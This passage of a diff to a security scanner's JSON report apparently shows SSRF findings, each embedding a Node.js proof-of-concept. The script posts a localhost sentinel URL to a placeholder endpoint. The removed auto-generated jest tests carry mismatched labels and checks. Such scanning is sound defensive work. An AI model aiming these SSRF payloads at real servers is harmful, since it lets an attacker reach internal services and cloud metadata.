process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -4300,15 +4430,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "ssrf",
+      "parser": "SSRF-METADATA",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_0edcdf303d72e177.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for SSRF: explicit reference to cloud instance-metadata endpoint (CWE-918).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('SSRF: explicit reference to cloud instance-metadata endpoint', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"http://127.0.0.1:65533/poc-ssrf-sentinel\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -4316,7 +4447,10 @@
         "cwe": "CWE-918",
         "family": "ssrf",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -4543,15 +4677,16 @@
       "unvalidated": true,
       "cross_language": false,
       "family": "ssrf",
+      "parser": "SSRF-METADATA",
       "_unsigned": false,
       "_passThroughSigning": false,
       "signatureStatus": "verified",
       "regression_test": {
         "lang": "node",
-        "framework": "jest",
-        "filename": "security_9fc392f7f4769ea8.test.mjs",
-        "runHint": "npx jest",
-        "code": "// Regression test for SSRF: explicit reference to cloud instance-metadata endpoint (CWE-918).\n// Auto-generated from P1.1 PoC; fails on vulnerable code, passes after the fix.\n\nimport { test, expect } from '@jest/globals';\n\ntest('SSRF: explicit reference to cloud instance-metadata endpoint', async () => {\n  const URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\n  const METHOD = \"POST\";\n  const PAYLOAD = \"http://127.0.0.1:65533/poc-ssrf-sentinel\";\n  const body = METHOD === 'GET' ? null : JSON.stringify({ input: PAYLOAD });\n  const reqUrl = METHOD === 'GET'\n    ? URL_ + (URL_.includes('?') ? '&' : '?') + 'input=' + encodeURIComponent(PAYLOAD)\n    : URL_;\n  const r = await fetch(reqUrl, { method: METHOD, headers: { 'Content-Type': 'application/json' }, body });\n  const text = await r.text();\n  // The assertion below is the \"exploit demonstrated\" signal — when this\n  // test PASSES, the vuln is still present. After the fix, this assertion\n  // SHOULD fail. Inverse the assertion in a green build.\n  const demonstrated = text.includes('PoC') || /syntax error/i.test(text) || text.includes('<script>');\n  expect(demonstrated).toBe(false);\n});\n"
+        "framework": null,
+        "filename": null,
+        "runHint": null,
+        "code": null
       },
       "poc": {
         "lang": "node",
@@ -4559,7 +4694,10 @@
         "cwe": "CWE-918",
         "family": "ssrf",
         "runHint": "node poc.mjs",
-        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n"
+        "code": "// Demonstrates SSRF by forcing the server to fetch a localhost sentinel URL.\n// Endpoint:   POST http://localhost:3000/REPLACE-WITH-ENDPOINT\n// Payload:    http://127.0.0.1:65533/poc-ssrf-sentinel\n// Expect:     sentinel server logs a request from the target — proves the target made an outbound call we controlled\n// Run:        node poc.mjs\n// Exit code:  0 = exploit demonstrated, 1 = not demonstrated, 2 = error\n\nconst URL_ = \"http://localhost:3000/REPLACE-WITH-ENDPOINT\";\nconst METHOD = \"POST\";\nconst PAYLOAD = `http://127.0.0.1:65533/poc-ssrf-sentinel`;\n\nconst body = METHOD === 'GET'\n  ? null\n  : JSON.stringify({ \"input\": PAYLOAD });\n\nconst headers = { 'Content-Type': 'application/json' };\n\nconst reqUrl = METHOD === 'GET'\n  ? URL_ + (URL_.includes('?') ? '&' : '?') + \"input\" + '=' + encodeURIComponent(PAYLOAD)\n  : URL_;\n\ntry {\n  const r = await fetch(reqUrl, { method: METHOD, headers, body, redirect: 'follow' });\n  const text = await r.text();\n  const sig = (text.includes(\"http://127.0.0.1:65533/poc-ssrf-sentinel\") ? 'payload reflected' : '');\n  if (sig) {\n    process.stderr.write('PoC: exploit demonstrated — ' + sig + '\\n');\n    process.exit(0);\n  }\n  process.stderr.write('PoC: payload sent (status ' + r.status + '), no exploit evidence in response\\n');\n  process.exit(1);\n} catch (e) {\n  process.stderr.write('PoC: error reaching target — ' + e.message + '\\n');\n  process.exit(2);\n}\n",
+        "paramKey": null,
+        "paramKeyConfidence": "low",
+        "paramKeyInferred": false
       },
       "calibrated_confidence": null,
       "calibrated_confidence_ci": null,
@@ -4696,7 +4834,7 @@
     }
   ],
   "components": [],
-  "suppressedCount": 24,
+  "suppressedCount": 25,
   "blastRadiusSignals": {
     "industry": "generic",
     "industryConfidence": "low",
@@ -4714,7 +4852,7 @@
   "_v3": {
     "counterfactual": {
       "spofControls": [],
-      "controlsDetected": 1825
+      "controlsDetected": 1928
     },
     "threatModel": {
       "summary": {
@@ -5047,5 +5185,6 @@
       "alarms": [],
       "note": "no-feedback-data"
     }
-  }
+  },
+  "annotatorErrors": []
 }